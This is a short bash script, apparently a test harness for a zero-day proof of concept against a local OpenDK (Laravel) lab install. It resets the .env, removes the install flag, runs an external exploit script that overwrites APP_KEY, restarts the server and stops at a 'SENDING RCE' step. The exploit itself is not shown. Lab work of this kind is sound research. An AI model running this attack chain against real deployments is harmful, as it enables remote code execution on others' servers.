#!/bin/bash

# Step 1: Restore clean .env
cat > /home/c/ZERODAY/lab/target/opendk/.env << 'EOF'
APP_NAME='OpenDK Test'
APP_ENV=local
APP_KEY=base64:YIujhM+zO7YJo6cD+EB/3ZWTbMpJ//ghw+BGGpW/xiw=
APP_DEBUG=false
APP_URL=http://127.0.0.1:8888
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=opendk_test
DB_USERNAME=opendk
DB_PASSWORD=opendk123
SESSION_DRIVER=file
EOF

rm -f /home/c/ZERODAY/lab/target/opendk/storage/installed

# Step 2: Start server
pkill -f "php.*9999" 2>/dev/null
sleep 1
cd /home/c/ZERODAY/lab/target/opendk
/usr/bin/php8.4 artisan serve --host=127.0.0.1 --port=9999 &>/dev/null &
sleep 3

echo "=== BEFORE ==="
grep APP_KEY /home/c/ZERODAY/lab/target/opendk/.env

# Step 3: Exploit
cd /home/c/ZERODAY/lab/poc
python3 main.py targets.txt

echo ""
echo "=== AFTER ==="
grep APP_KEY /home/c/ZERODAY/lab/target/opendk/.env

# Step 4: RESTART untuk APP_KEY baru aktif
pkill -f "php.*9999" 2>/dev/null
sleep 1
cd /home/c/ZERODAY/lab/target/opendk
/usr/bin/php8.4 artisan serve --host=127.0.0.1 --port=9999 &>/dev/null &
sleep 3

echo ""
echo "=== SENDING RCE ==="